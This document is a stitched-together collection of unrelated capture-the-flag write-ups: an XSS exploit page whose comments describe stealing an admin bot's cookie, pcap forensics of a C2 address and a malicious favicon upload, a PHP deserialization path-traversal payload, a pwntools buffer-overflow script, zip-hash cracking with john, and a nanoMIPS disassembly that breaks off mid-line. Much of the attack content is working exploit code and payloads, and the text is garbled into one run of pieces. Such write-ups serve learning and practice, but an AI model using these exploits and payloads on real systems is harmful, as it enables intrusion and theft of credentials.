```dice{even_my_pwn_ch4lls_have_an_adm1n_b0t!!!}```Our final exploit, an html page hosted on a static site which we sent the admin bot to:```html<iframe src="https://chessrs.mc.ax/" id="game"></iframe>
<script> let lets = "ABCDEFGH";
async function main() { // Wait for the ready message to get sent to us from the engine let engine = await new Promise(res => { onmessage = (e) => res(e.source) })
// Spam the engine with init requests from different clients // (each one uses a different id) for (let i = 0; i < lets.length; i++) { // Each of these inits will trigger the UAF because // it has data field set to a valid chess string // (it won't use the default start string) // To increase chances of success, we use a valid // chess string that is the same length as // game.js's id. engine.postMessage({ type: 'init', data: '8/8/8/8/8/8/8/8 ', id: lets[i], }, '*')
await new Promise(res => setTimeout(res, 10))
// These inits won't trigger the UAF because we are not sending an // init string, but it's part of the fuzzing routine that we found to work. // You know what they say, "garbage in, flag out." engine.postMessage({ type: 'init', id: lets[i].repeat(16) }, '*')
await new Promise(res => setTimeout(res, 10)) }
await new Promise(res => setTimeout(res, 10))
// Send the ready message to game.js so that // it will send its own init message to engine, // allocating its id using the engine's allocator. game.contentWindow.postMessage('ready', '*')
await new Promise(res => setTimeout(res, 100))
// Now re-init all the clients that had the UAF. // Hopefully one of them had their UAF // overwritten by game.js's id. for (let i = 0; i < lets.length; i++) { engine.postMessage({ type: 'init', id: lets[i] }, '*') } }
// We found that the client with id "H" leaked the id. // Once we receive the error message from re-initing it, // we'll have the id and be able to execute our XSS. addEventListener('message', async (e) => { if (e.data.id == "H" && e.data.type === "error") { let d = e.data.data;
// Parse the id from the error message let id = d.substring(d.indexOf("start:") + 8, d.indexOf("start:") + 8 + 16); console.log(id)
// Open another window to a mc.ax domain, which will have the admin's cookie, retaining a reference // to this other window in window.w game.contentWindow.postMessage({ type: 'error', id: id, data: "" }, '*') await new Promise(res => setTimeout(res, 500)) // Retrieve the admin's cookie from window.w and send it to our request bin (a request bin is just a simple http server // for which we can examine all incoming requests) game.contentWindow.postMessage({ type: 'error', id: id, data: "" }, '*') } })
main()
</script>``` |
Note: This write-up is Turkish.Bizden "pcap" dosyasından C2 sunucusunun adresini bulmamız isteniyor. Paylaşılan "AttIP" dosyasını Wireshark üzerinden açıp TCP iletişimini incelemeye başlıyoruz.
"tcp.stream eq 2"
2. TCP Stream'inde cihazın C2 sunucusuna TCP üzerinden veri gönderdiği anlaşılıyor.

## Flag0xL4ugh{91.243.59.76_23927} |
## Preview

By opening the image we'll see australia map

We notice a barcodes in the upper left part of the image

If we do some google search "australia barcode scanner"trying to get some similar images. And I get the following:
It seems to be a 4 state codes barcode, I'll research again for a decoder/scanner "australia post 4-state barcode decoder"
We'll end up with this decoder [here](http://bobcodes.weebly.com/auspost.html)
> A = Ascending bar, D = Descending bar, F = Full bar, T or S = Track (short) bar
After a awful time trying to match those characters we have this:

So we got some information they might be helpful
If we use [steghide](https://steghide.sourceforge.net/) steganography tool to check if there's some data hidden inside our image 
So yes, it revealed that there's some embedded data and It asking for a passphrase
If we use the Customer Information value from the informations we got after decoding the image barcode. `K4N64r00zz` We will be able to extract a zip file```bash┌──(root㉿exegol-osint)-[/workspace/ctf/gdg/misc/POSTAL]└─# steghide extract -sf msg.pngEnter passphrase:wrote extracted data to "Treasure.zip".
┌──(root㉿exegol-osint)-[/workspace/ctf/gdg/misc/POSTAL]└─# lsmsg.png Treasure.zip```
the zip file encrypted also, I'll use john for cracking it after getting it hash.
```bash┌──(root㉿exegol-osint)-[/workspace/ctf/gdg/misc/POSTAL]└─# zip2john Treasure.zip > hash
┌──(root㉿exegol-osint)-[/workspace/ctf/gdg/misc/POSTAL]└─# lshash msg.png Treasure.zip```cracking it ```bash┌──(root㉿exegol-osint)-[/workspace/ctf/gdg/misc/POSTAL]└─# john --wordlist='/usr/share/wordlists/rockyou.txt' hash Using default input encoding: UTF-8Loaded 2 password hashes with 2 different salts (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])Loaded hashes with cost 1 (HMAC size) varying from 86 to 121Will run 2 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusbaltimore (Treasure.zip/findme) baltimore (Treasure.zip/flag.txt.gpg) 2g 0:00:00:01 DONE (2022-10-12 7:27) 1.104g/s 5216p/s 13577c/s 11979C/s total90..hawkeyeUse the "--show" option to display all of the cracked passwords reliably```
With password `baltimore` we can open the zip file now!
```bash
┌──(root㉿exegol-osint)-[/workspace/ctf/gdg/misc/POSTAL]└─# 7z x Treasure.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs AMD Ryzen 5 3400G with Radeon Vega Graphics (810F81),ASM,AES-NI)
Scanning the drive for archives:1 file, 677 bytes (1 KiB)
Extracting archive: Treasure.zip--Path = Treasure.zipType = zipPhysical Size = 677
Enter password (will not be echoed):Everything is Ok
Files: 2Size: 218Compressed: 677```
If we cat the `findme` file we'll get:
```┌──(root㉿exegol-osint)-[/workspace/ctf/gdg/misc/POSTAL]└─# cat findmenice you are closedo you know gpg....?I think you have the password just get back to your notes :)```> GPG is a popular Linux encrypting tool. Find out how to use its power to keep private files private. Posted: June 15, 2021 | 2 min read | by Ken Hess (Alumni, Red Hat) Image by Pete Linforth from Pixabay. The GNU Privacy Guard (GPG or gpg) tool is a native/baseos security tool for encrypting files
if we use it on the flag.txt.gpg.
```bash lqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqk x Please enter the passphrase for decryption. x x x x Passphrase: ________________________________________ x x x x <OK> <Cancel> x mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj```
And if we pass the sorting Code from the decoded barcode again we'll get the flag file decrypted fine
```bash┌──(root㉿exegol-osint)-[/workspace/ctf/gdg/misc/POSTAL]└─# gpg flag.txt.gpggpg: WARNING: no command supplied. Trying to guess what you mean ...gpg: AES256.CFB encrypted datagpg: encrypted with 1 passphrase
┌──(root㉿exegol-osint)-[/workspace/ct*f/gdg/misc/POSTAL]└─# lsfindme flag.txt flag.txt.gpg hash msg.png Treasure.zip```yep, we got the flag! |
## Solution
Cidden adı kadar Tricky bir soruydu :) Bize şirketlerinin neden hacklendiğini soruyor. Bu olayı araştırmamızı istiyor. Sağ tık, Follow TCP Stream diyerek iletişimi detaylıca izliyoruz. İlk 490 TCP Stream içerisinde hiçbir terslik gözükmüyor. Normal kullanıcılar giriş yapıyorlar, işlemlerini halledip çıkıyorlar. Fakat 493. TCP Streaminde bir terslik var.
Birisi /upload.php sayfası aracılığı ile "favicon.ico" dosyası yüklüyor fakat içerisinde garip bir payload var..

Requestteki encoding dolayısıyla doğrudan dönen cevabı göremiyoruz. Ya da, ben beceremedim:) Fakat Export seçeneği ile favicon dosyalarını bir klasöre export ediyoruz.

Filtreleme..

Kaydet diyerek hepsini bir klasöre aktardıktan sonra içeriklerini incelemeye başlıyoruz.
İlk dosya gayet normal.

İkinci dosyaya bakıyoruz. (favicon(1).ico)



Kalan favicon dosyasını incelemeden önce sonraki stream'i inceliyoruz. İçinde bir payload olması olası.
497. TCP STREAM

.secret adlı dosyayı tersten okuyor, base64 ile şifreliyor, daha sonrasında base64ü tersine çeviriyor. wtf dude?
favicon(2) dosyamıza bakıyoruz. Ters bir base64 kodu buluyoruz.

Tersine çeviriyoruz.```fWVub0RfcyFfZWduZWxsYWhDXzUhaFRfeWxsQG5pRntoZ3U0THgwCg==```Decode ediyoruz.```}enoD_s!_egnellahC_5!hT_yll@niF{hgu4Lx0```Tersine çeviriyoruz.```0xL4ugh{Fin@lly_Th!5_Challenge_!s_Done}```
## Flag0xL4ugh{Fin@lly_Th!5_Challenge_!s_Done} |
The goal was to exfiltrate the note from the bot using an XS-Leaks technique called “Cross-Origin Redirects and CSP Violations”.
Full explanation can be found [here](https://www.xanhacks.xyz/p/secrets-hacktmctf/). |
# Blog
## Description```We made a new blogging website for everyone to use! It's pretty basic for now,and it has a few limitations like:
1. No comments2. Semi-working authentication system3. Lots of random checks slowing down the entire website honestly (i don't know what's going on so i'm not touching it)
To mitigate that, we made it such that only you can view your own posts. No onecan hack us now >:)
(im not sure what kind of blog that is tho...)
\- @i\_use\_vscode
http://34.141.16.87:30000
The flag can be found in the root directory.```
## Solution
Enclosed with the challenge there was the project folder of the web applications.
```dist├── chal│ ├── db│ ├── flag.txt│ └── html│ ├── create.php│ ├── images│ │ └── real_programmers.png│ ├── index.php│ ├── login.php│ ├── register.php│ ├── static│ └── util.php├── docker-compose.yml└── Dockerfile```
So I started looking at the Dockerfile, which looked like that:
```DockerfileFROM php:8.0-apache
COPY ./chal/html /var/www/htmlCOPY ./chal/db /sqlite3/dbCOPY ./chal/flag.txt /02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txtRUN chmod -R 777 /sqlite3/RUN chmod -R 777 /var/www/html/```
We can see that the flag file gets move into the directory `02d92f5f-a58c-42b1-98c7-746bbda7abe9/` which sits in root. Hmm good to know... Next step would be looking at the php files that make up the site. I started looking at the `index.php` and found this interesting php snippet:
```php
```
This basically looks whether the `user` cookie is set. If its not set we get redirected to the login site. If it is set it base64 decodes the cookie and unserialized it... The result of this is then saved as the user variable. This looks like something we could leverage. So I registered an account and looked at the user cookie I got. I base64 decoded it using [CyberChef](https://cyberchef.org/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)) and got a serialized string. After throwing it into [a unserializer](https://www.unserialize.com/) it looked like this:

So the user cookie stores the username and an image file, which turned out to be the profile picture.
At this point I was wondering if I could leak the flag file by changing the path to the users profile picture to be the path of the flag file. After some failed attempts i figured out, that the correct payload would be:
```O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:8:"testuser";s:12:"picture_path";s:54:"../../../02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt";}s:5:"posts";a:0:{}}```
The trick was changing the picture_path to `../../../02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt` and the integer before the string to the length of the string. Otherwise the unserialize command runs into an error. Now I used a relative path when I could just as well have used an absolute path (like `/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt`) which would have been shorter, but didn't matter in this case. After making this change I base64 decoded it again and changed the value of the user cookie to the exploit string.

After refreshing the page the image is not displayed correctly. When we look at the source code of the page we see the string that was put as image.

Now we just have to copy the base64 encoded part and after decoding we get the flag:
```HackTM{r3t__toString_1s_s0_fun_13c573f6}``` |
IDA decompile:```c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>
int main(void) { setbuf(stdout, NULL); char input[64]; volatile int give_flag = 0; puts("hi, how can i help?"); gets(input); if (strcmp(input, "give me the flag") == 0) { puts("lol no"); } else if (strcmp(input, "please give me the flag") == 0) { puts("no"); } else if (strcmp(input, "help, i have no idea how to solve this") == 0) { puts("L"); } else if (strcmp(input, "may i have the flag?") == 0) { puts("not with that attitude"); } else if (strcmp(input, "please please please give me the flag") == 0) { puts("i'll consider it"); sleep(15); if (give_flag) { puts("ok here's your flag"); system("cat flag.txt"); } else { puts("no"); } } else { puts("sorry, i didn't understand your question"); exit(1); }}```Simple ret2text. Use `'\0'` to bypass `strcmp()` and get the address of `give_flag` branch using IDA(graph mode). The length of payload is the size of all stack variables plus 4(to reach `rip`). The following exploit script can be constructed:```pyfrom pwn import *# context(log_level='debug',os='linux',arch='amd64')payload = b'please please please give me the flag\0'.ljust(64+4+4,b'a')+p64(0x40128E)p = remote('lac.tf',31180)p.sendline(payload)p.interactive()
# lactf{hey_stop_bullying_my_bot_thats_not_nice}``` |
## Insomni'Hack Teaser 2023 - Artscii (Misc 200)##### 21/01 - 22/01/2023 (24hr)___
### Description:
*Can you read the flag?*
```generate.pyoutput.txt```___
### Solution
The flag is encoded in the `output-82af45781b1a0057f2bf9b69d1702976928383941b7f9651de8e2c819935bcf2.txt` file:```## ## # #### # # ## ### ### # # # ## #### ##### ######### ## ## ## ### ##### ## ## ## # ## # # ## ## ## ## # ## ## # # # # ##### #### ###### ### # ## ### ## # ## ## ## #### # ## ## ## # # ## #### ## # ## ## ## ### ### # ## # ## ## # # ### ### ####### # ##### ### ## # ####### #### ## # ## ## # # ## # ### #### ## # ## # ## ## ###### ##### # ## # ## ### ## ## ## ## # ## # ## ## ### #### ## #### #### ## ### ## ## ### ## ## ## ## ## ## ## ## ### ## ## # # ## # # # # ### # # ## ## # # # # # ## #### # # #### # ## # ### # ## # ## # #### # # # #### # # ## # # # # # ## # # # # # # # # # # # # # # # ## # ## # ## # # ### # # # ### # # #### ## # # # # # # # # # # ## ### # # ### # # # # # # # ## ######## ## # # # # ### ### ## ### # # ## ## ## ### # ## ## # ## # # # # # ## #### ## # #### ## ## # ## # # ####### ### # # ## #### ## ## ## ## # # # ## ######## ## ### ## ##```
The code is in the `generate-5612300a7e5a0bf0120c06ab3ccbc3cb0003e209d1e6667d70bf0797d82a307c.py` file:```pythonimport reimport art
with open("flag.txt") as f: flag = f.readline() assert(flag[0:4]=="INS{" and flag[-1]=="}") content = flag[4:-1] assert(re.search(r'^[A-Z1-9_]*$', content)) assert(content.count("_") == 2) content = content.replace("_","\n")
def mergeLines(line1,line2): line = list(map(lambda xy: " " if xy[0] == xy[1] else "#", zip(line1, line2))) return ''.join(line)
def mergeText(text1, text2): a = text1.split("\n") b = text2.split("\n") c = [] for j in range(25): c.append(mergeLines(a[j],b[j])) return '\n'.join(c)
i = 0while i<3: text = art.text2art(content, font="rnd-medium", chr_ignore=False) if re.search(r'^[ #\n]*$', text) and text.count('\n') == 24: if i == 0: res = text else: res = mergeText(res,text) i = i+1
print(res)```
### Cracking the Flag
The first task is to find which **3** fonts were used to generate the flag.From the output we can easily tell that the first line is `MISC` (or `M1SC` or `MI5C` or `M15C`).
Therefore, we brute force all font combinations (there are **~100** fonts, so it doesn't take long)and check which combination produces the desired output. After **~1** minute we get the correct fonts:``` future_2 green_be z-pilot```
Then we move on to the second line. We crack the flag character by character.We brute force each character and we check **how many columns** matches with the target output.The character that matches the most columns is the correct one. We repeated the same process for the3rd line of the output and get the flag.
For more details, please refer to [artscii_crack.py](./artscii_crack.py) file.
So, the flag is: `INS{MISC_MAYHEM_A7R93Y4E7H}`
___
|
```
from pwn import *import reimport logging
datam = remote("chals.tuctf.com", 30202)k = 0for dongu1 in range(510000): if k == 0: k+=1 question = str(datam.recvline()) if "exec" in question: continue print(question) unquest = question[2:100] unquest2 = unquest[:-3] cevap= str(eval(unquest2)) print(cevap) datam.sendline(cevap) print(str(datam.recvline())) else: question = str(datam.recvline()) if "exec" in question: continue print(question) unquest = question[2:100] unquest2 = unquest[:-3] cevap= str(eval(unquest2)) print(cevap) datam.sendline(cevap) print(str(datam.recvline()))
```
TUCTF{7h4nk5_f0r_74k1n6_7h1n65_4_l177l3_5l0w_4268285} |
## SolutionVerilen "EzPz.pcap" dosyasını WireShark ile açıyoruz. Her streamda TCP Payload içerisinde bir hex kodu ile karşılaşıyoruz.

TCP Payload içerisindeki verileri çıkartacak bir script yazıyoruz.
NOT: Ekte paylaşılan script, python2 üzerinde çalışır.```from scapy.all import *
pcap = rdpcap("EzPz.pcap")
for pkt in pcap: if Raw in pkt: print pkt[Raw]```
Verileri döngüyle aldığımız için alt alta yazılıyor, script içinde düzeltebiliriz ancak vakit kaybetmek istemedim.

CyberChef is your friend.
İlk satırı siliyoruz.

Altalta satırları yanyana boşlukla yazılacak şekilde ayarlıyoruz. Satır atlama kodu "\n".

Hex başlıklarından kurtuluyoruz. "0x"

Dosyayı hex'ten çevirdiğimizde PNG dosyası olduğunu farkediyoruz.

Render Image ile renderliyoruz.

CyberChef linki maalesef çok uzun olduğu için paylaşamıyorum, sorun yaşamanız durumunda bana Twitter üzerinden ulaşabilirsiniz.
## Flag
0xL4ugh{By735_3verywh3r3_WE3333} |
## 0CTF 2020 - baby MIPS (Reversing 297)##### 29/06 - 01/07/2020 (48hr)___
### Description
-___
We have a binary in [nanoMIPS](https://www.mips.com/products/architectures/nanomips) architecture. We caninfer this from the output of `file` command:```ispo@ispo-glaptop:~/ctf/0ctf/babymips$ ./babymips bash: ./babymips: cannot execute binary file: Exec format errorispo@ispo-glaptop:~/ctf/0ctf/babymips$ file babymips babymips: ELF 32-bit LSB executable, *unknown arch 0xf9* version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-nanomips-sf.so.1, stripped```
This is a fairly new architecture used in **I7200** processor. There is a mail named[Introducing a nanoMIPS port for GCC](https://gcc.gnu.org/legacy-ml/gcc/2018-05/msg00012.html)where it provides some information about the architecture. Furthermore, the[Reference Manual](https://s3-eu-west-1.amazonaws.com/downloads-mips/I7200/I7200+product+launch/MIPS_nanomips32_ISA_TRM_01_01_MD01247.pdf)and the [Datasheet](https://cdn.weka-fachmedien.de/media_uploads/documents/1525340900-291-mips-i7200-datasheet-01-20-md01227.pdf)are two useful resources.
After some searching we found a [toolchain](https://codescape.mips.com/components/toolchain/nanomips/2018.04-02/downloads.html)for nanomips binaries. First we run `readelf`. The most important fields are shown below:```ispo@ispo-glaptop:~/ctf/0ctf/babymips/nanomips-linux-musl/2018.04-02/bin$ ./nanomips-linux-musl-readelf --all ../../../babymips ELF Header: Entry point address: 0x4003f6
Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 6] .rel.nanoMIPS.stu REL 004003a0 0003a0 000028 08 AI 2 8 4 [ 8] .nanoMIPS.stubs PROGBITS 004003d0 0003d0 000026 00 AX 0 0 4 [ 9] .text PROGBITS 004003f6 0003f6 000398 00 AX 0 0 2 [11] .rodata PROGBITS 00400798 000798 00007e 00 A 0 0 4 [12] .nanoMIPS.abiflag LOPROC+0 00400818 000818 000018 00 A 0 0 8 [15] .init_array INIT_ARRAY 0041ff24 00ff24 000004 04 WA 0 0 4 [16] .fini_array FINI_ARRAY 0041ff28 00ff28 000004 04 WA 0 0 4 [17] .jcr PROGBITS 0041ff2c 00ff2c 000004 00 WA 0 0 4 [19] .data PROGBITS 00420000 010000 0000a5 00 WA 0 0 4 [21] .sdata PROGBITS 004200a8 0100a8 000004 00 WA 0 0 4 [22] .got PROGBITS 004200ac 0100ac 000038 00 WAp 0 0 4 [23] .bss NOBITS 004200e4 0100e4 00001c 00 WA 0 0 4
Entries: Address Access Value Type Name 004200b4 8(gp) 00400790 004200b8 12(gp) 004003c8 004200bc 16(gp) 00000000 Global _ITM_deregisterTMCloneTable 004200c0 20(gp) 00000000 Global _ITM_registerTMCloneTable 004200c4 24(gp) 00000000 Global __deregister_frame_info 004200c8 28(gp) 00000000 Global __register_frame_info 004200cc 32(gp) 00000000 Global _Jv_RegisterClasses 004200d0 36(gp) 004003d0 Lazy-stub read 004200d4 40(gp) 004003d6 Lazy-stub strncmp 004200d8 44(gp) 004003dc Lazy-stub puts 004200dc 48(gp) 004003e2 Lazy-stub memset 004200e0 52(gp) 004003e8 Lazy-stub __libc_start_main```
Then we load the binary on `gdb`. Obviously we cannot debug it, but we can get a nicedisassembly listing of the `.text` section. Below is the analyzed assembly of the binary:```Assembly(gdb) disas 0x4003d0, 0x40078eDump of assembler code from 0x4003d0 to 0x40078e: 0x004003d0: li t8,0 ; 0x004003d4: bc 0x4003ee ; 0x004003d6: li t8,1 ; 0x004003da: bc 0x4003ee ; 0x004003dc: li t8,2 ; 0x004003e0: bc 0x4003ee ; 0x004003e2: li t8,3 ; 0x004003e6: bc 0x4003ee ; 0x004003e8: li t8,4 ; 0x004003ec: bc 0x4003ee ; 0x004003ee: lw t9,0(gp) ; 0x004003f2: move t3,ra ; 0x004003f4: jalrc t9 ;
PROG_ENTRY_POINT: 0x004003f6: move fp,zero ; 0x004003f8: lapc t0,0x400410 ; 0x004003fc: lapc a1,0x41ff30 ; a1 = .dynamic 0x00400400: lapc gp,0x4200ac ; gp = .got 0x00400404: move a0,sp ; 0x00400406: li at,-16 ; 0x0040040a: and sp,sp,at ; 0x0040040e: jalrc t0 ;
INITIALIZATION: 0x00400410: save 16,ra,gp 0x00400414: lapc gp,0x4200ac ; gp = .got 0x00400418: addiu a2,a0,4 ; a2 = a0 + 4 0x0040041a: lw a1,0(a0) ; 0x0040041c: lw a6,52(gp) ; a6 = .got + 0x34 = __libc_start_main 0x00400420: lapc a0,0x4006e4 ; a0 = &main 0x00400424: move a5,zero ; a5 = 0 0x00400426: lwpc a4,0x4200b4 ; a4 = 0x4200b4 -> 0x400790 0x0040042c: lwpc a3,0x4200b8 ; a3 = 0x4200b8 -> 0x4003c8 0x00400432: jalrc a6
; --------------------------------------------------------------------------- ; .ctors (we don't care) ; --------------------------------------------------------------------------- 0x00400434: lapc a3,0x4200a8 ; a3 = 0x4200a8 0x00400438: lapc a0,0x4200a8 ; a0 = 0x4200a8 0x0040043c: addiu a3,a3,3 ; a3 += 3 0x0040043e: subu a3,a3,a0 ; a3 -= a0 0x00400440: bltiuc a3,7,0x40044e ; if a3 < 7 goto 0x40044e 0x00400444: lwpc a3,0x4200bc ; a3 = _ITM_deregisterTMClone 0x0040044a: beqzc a3,0x40044e ; if a3 == 0 goto 0x40044e 0x0040044c: jrc a3 ; 0x0040044e: jrc ra ; 0x00400450: lapc a0,0x4200a8 ; 0x00400454: li a2,2 ; 0x00400456: lapc a3,0x4200a8 ; 0x0040045a: subu a3,a3,a0 ; 0x0040045c: sra a3,a3,2 ; a3 /= 2 0x00400460: div a1,a3,a2 ; a1 = a3 / a2 0x00400464: beqzc a1,0x400470 ; 0x00400466: lwpc a3,0x4200c0 ; 0x0040046c: beqzc a3,0x400470 ; 0x0040046e: jrc a3 ;
0x00400470: jrc ra ; 0x00400472: save 16,ra,s0 ; 0x00400474: aluipc a3,0x420000 ; 0x00400478: lbu a2,228(a3) ; 0x0040047c: move s0,a3 ; 0x0040047e: bnezc a2,0x400496 ; 0x00400480: balc 0x400434 ; Function call 0x00400482: lwpc a3,0x4200c4 ; 0x00400488: beqzc a3,0x400490 ; 0x0040048a: lapc a0,0x400830 ; 0x0040048e: jalrc a3 ; 0x00400490: li a3,1 ; 0x00400492: sb a3,228(s0) ; 0x00400496: restore.jrc 16,ra,s0 ; 0x00400498: save 16,ra ; 0x0040049a: lwpc a3,0x4200c8 ; 0x004004a0: beqzc a3,0x4004ac ; 0x004004a2: lapc a1,0x4200e8 ; 0x004004a6: lapc a0,0x400830 ; 0x004004aa: jalrc a3 ; 0x004004ac: lapc a0,0x41ff2c ; 0x004004b0: lw a3,0(a0) ; 0x004004b2: bnezc a3,0x4004ba ;
0x004004b4: restore 16,ra ; 0x004004b8: bc 0x400450 ; goto LOOP 0x004004ba: lwpc a3,0x4200cc ; a3 = 0x4200cc 0x004004c0: beqzc a3,0x4004b4 ; 0x004004c2: jalrc a3 ; 0x004004c4: bc 0x4004b4 ; return
; --------------------------------------------------------------------------- ; is_valid_perm(byte *perm) ; ; Checks if a string is a valid permutation of 'zxcasdqwe'. ; --------------------------------------------------------------------------- 0x004004c6: save 80,fp,ra ; prolog 0x004004c8: addiu fp,sp,-4016 ; 0x004004cc: sw a0,12(sp) ; var_c = arg0 0x004004ce: sw zero,20(sp) ; initialize vars 0x004004d0: sw zero,24(sp) ; 0x004004d2: sw zero,28(sp) ; 0x004004d4: sw zero,32(sp) ; 0x004004d6: sw zero,36(sp) ; 0x004004d8: sw zero,40(sp) ; 0x004004da: sw zero,44(sp) ; 0x004004dc: sw zero,48(sp) ; 0x004004de: sw zero,52(sp) ; 0x004004e0: sw zero,60(sp) ; 0x004004e2: bc 0x400550 ; goto LOOP_END
LOOP: 0x004004e4: lw a3,60(sp) ; a3 = var_3c = i 0x004004e6: lw a2,12(sp) ; a2 = arg0 0x004004e8: addu a3,a2,a3 ; a3 = &arg0[i] 0x004004ea: lbu a3,0(a3) ; a3 = arg0[i] (byte) 0x004004ec: addiu a3,a3,-97 ; a3 = arg0[1] - 'a' ; (gdb) x/26xw 0x400798 ; 0x400798: 0x0000000c 0x00000024 0x00000008 0x00000014 ; 0x4007a8: 0x00000020 0x00000024 0x00000024 0x00000024 ; 0x4007b8: 0x00000024 0x00000024 0x00000024 0x00000024 ; 0x4007c8: 0x00000024 0x00000024 0x00000024 0x00000024 ; 0x4007d8: 0x00000018 0x00000024 0x00000010 0x00000024 ; 0x4007e8: 0x00000024 0x00000024 0x0000001c 0x00000004 ; 0x4007f8: 0x00000024 0x00000000 ; ; Offset: ; 00 --> z ; 04 --> x ; 08 --> c ; 0c --> a ; 10 --> s ; 14 --> d ; 18 --> q ; 1c --> w ; 20 --> e ; 24 --> b, f, g, h, i, j, k, l, m, n, o, p, t, u, v, y
0x004004f0: bgeiuc a3,26,0x400546 ; if a3 >= 26 goto FAILURE 0x004004f4: lapc a2,0x400798 ; a2 = .rodata 0x004004f8: lwxs a2,a3(a2) ; a2 = .rodata[a3] (dword) 0x004004fa: brsc a2 ; goto 0x4004fe + a2*2 (switch)
CASE_OFF_00: 0x004004fe: lw a3,20(sp) ; 0x00400500: addiu a3,a3,1 ; ++var_14 0x00400502: sw a3,20(sp) ; 0x00400504: bc 0x40054a ; goto CASE_END
CASE_OFF_04: 0x00400506: lw a3,24(sp) ; 0x00400508: addiu a3,a3,1 ; ++var_18 0x0040050a: sw a3,24(sp) ; 0x0040050c: bc 0x40054a ; goto CASE_END
CASE_OFF_08: 0x0040050e: lw a3,28(sp) ; 0x00400510: addiu a3,a3,1 ; ++var_1c 0x00400512: sw a3,28(sp) ; 0x00400514: bc 0x40054a ; goto CASE_END
CASE_OFF_0C: 0x00400516: lw a3,32(sp) ; 0x00400518: addiu a3,a3,1 ; ++var_20 0x0040051a: sw a3,32(sp) ; 0x0040051c: bc 0x40054a ;
CASE_OFF_10: 0x0040051e: lw a3,36(sp) ; 0x00400520: addiu a3,a3,1 ; ++var_24 0x00400522: sw a3,36(sp) ; 0x00400524: bc 0x40054a ;
CASE_OFF_14: 0x00400526: lw a3,40(sp) ; 0x00400528: addiu a3,a3,1 ; ++var_28 0x0040052a: sw a3,40(sp) ; 0x0040052c: bc 0x40054a ;
CASE_OFF_18: 0x0040052e: lw a3,44(sp) ; 0x00400530: addiu a3,a3,1 ; ++var_2c 0x00400532: sw a3,44(sp) ; 0x00400534: bc 0x40054a ;
CASE_OFF_1C: 0x00400536: lw a3,48(sp) ; 0x00400538: addiu a3,a3,1 ; ++var_30 0x0040053a: sw a3,48(sp) ; 0x0040053c: bc 0x40054a ;
CASE_OFF_20: 0x0040053e: lw a3,52(sp) ; 0x00400540: addiu a3,a3,1 ; ++var_34 0x00400542: sw a3,52(sp) ; 0x00400544: bc 0x40054a ;
FAILURE: ; or CASE_OFF_24: 0x00400546: move a3,zero ; return 0 0x00400548: bc 0x40057c ;
CASE_END: 0x0040054a: lw a3,60(sp) ; 0x0040054c: addiu a3,a3,1 ; var_3c += 1 0x0040054e: sw a3,60(sp) ;
LOOP_END: 0x00400550: lw a3,60(sp) ; a3 = var_3c 0x00400552: bltic a3,9,0x4004e4 ; if var_3c < 9 goto LOOP 0x00400556: sw zero,56(sp) ; var_38 = 0 0x00400558: bc 0x400574
LOOP_2: 0x0040055a: lw a3,56(sp) ; a3 = var_38 = j 0x0040055c: sll a3,a3,2 ; var_38 <<= 2 (j*4) 0x0040055e: addiu a2,sp,64 ; 0x00400560: addu a3,a2,a3 ; a3 = var_40[j] (dword) 0x00400562: lw a3,-44(a3) ; a3 = 40[j] - 0x2c 0x00400566: beqic a3,1,0x40056e ; if a3 == 1 goto NEXT_ITER 0x0040056a: move a3,zero ; else return 0 0x0040056c: bc 0x40057c ;
NEXT_ITER: 0x0040056e: lw a3,56(sp) ; 0x00400570: addiu a3,a3,1 ; ++var_38 0x00400572: sw a3,56(sp) ; 0x00400574: lw a3,56(sp) ; 0x00400576: bltic a3,9,0x40055a ; if var_38 < 9 goto LOOP_2
SUCCESS: 0x0040057a: li a3,1 ; return 1
RETURN: 0x0040057c: move a0,a3 ; 0x0040057e: restore.jrc 80,fp,ra ;
; --------------------------------------------------------------------------- ; is_valid_double_perm() ; ; (gdb) x/100xb 0x420054 = tbl_B (max val: 80) ; 0x00 0x01 0x02 0x03 0x0a 0x0c 0x0d 0x0e 0x13 ; 0x04 0x05 0x06 0x0f 0x18 0x19 0x21 0x2a 0x33 ; 0x07 0x08 0x10 0x11 0x1a 0x22 0x23 0x2b 0x34 ; 0x09 0x12 0x1b 0x24 0x2d 0x36 0x37 0x3f 0x48 ; 0x0b 0x14 0x15 0x1c 0x1d 0x1e 0x25 0x2e 0x27 ; 0x16 0x17 0x1f 0x20 0x28 0x31 0x3a 0x42 0x43 ; 0x26 0x2f 0x30 0x38 0x39 0x40 0x41 0x49 0x4a ; 0x29 0x32 0x3b 0x3c 0x3d 0x44 0x4b 0x4c 0x4d ; 0x2c 0x35 0x3e 0x45 0x46 0x47 0x4e 0x4f 0x50 ; ; (gdb) x/84xb 0x420000 = tbl_A ; 0x00 0x00 0x77 0x00 0x00 0x00 0x73 0x00 ; 0x00 0x00 0x00 0x00 0x64 0x00 0x00 0x77 ; 0x00 0x00 0x64 0x00 0x00 0x00 0x00 0x00 ; 0x61 0x00 0x00 0x00 0x65 0x00 0x77 0x00 ; 0x71 0x00 0x61 0x00 0x65 0x00 0x00 0x00 ; 0x00 0x00 0x00 0x00 0x00 0x61 0x00 0x00 ; 0x7a 0x64 0x00 0x00 0x73 0x77 0x71 0x00 ; 0x00 0x00 0x00 0x77 0x00 0x00 0x73 0x78 ; 0x00 0x64 0x00 0x00 0x00 0x00 0x00 0x7a ; 0x77 0x00 0x00 0x00 0x00 0x00 0x00 0x64 ; 0x78 0x00 0x00 0x00 ; ; /** Decompiled Code **/ ; byte perm[9]; ; ; for (int i=0; i<9; ++i) { ; for 